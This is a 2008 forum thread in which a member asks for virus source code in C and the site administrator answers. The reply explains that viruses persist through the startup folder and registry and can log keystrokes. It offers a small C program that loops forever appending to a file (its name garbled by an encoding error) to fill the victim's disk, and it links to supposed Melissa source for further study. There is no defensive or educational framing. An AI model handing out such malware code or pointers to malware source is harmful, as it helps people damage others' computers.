ThisisLegal.com

ThisisLegal Forums

Welcome to the forums! A chance for site members to chat and get help.

You are not logged in.

#1 2008-06-13 03:03:44

therock_wall
Member
Registered: 2008-03-16
Posts: 45

virus!!!!!!

can u explain the step by  step working of a virus.

it would be better if a source code of virus given(in C language).!!!!!!!!

Offline

#2 2008-06-13 03:22:29

t0mmy9
Administrator
Registered: 2005-01-07
Posts: 21

Re: virus!!!!!!

Every virus is different, it depends what you want it to do. Most copy themselves to the startup using the startup folder and the registry and make copies of themselves so they run each time the computer is loaded.<br /><br />Then you pick what you want it to do e.g. log key strokes or shut down the computer at a set time. Some bind themselves to other programs like melissa did through macros but stay hidden and can send emails in the background. It really depends on what virus you have in mind. I dont know C, so you will need someone else to help you with that. But heres a really simple C virus that makes a file and adds to the file constantly until it fills up your computer<br /><br />

//START v.c<br />#include<stdio.h><br />#include<stdlib.h><br />void main()<br />{<br /> while(1)<br />//always 1 so forever<br />{<br /> system("dir>>â•ša.exe");<br />//dos command means append file a.exe<br />}<br />}<br />//END 

<br /><br />for the best way to learn i suggest you google for the source code of famous virus's e.g. heres melissa's code:<br /><br />http://www.rohitab.com/discuss/lofiversion/index.php/t994.html


Site admin

Offline

Board footer

Powered by FluxBB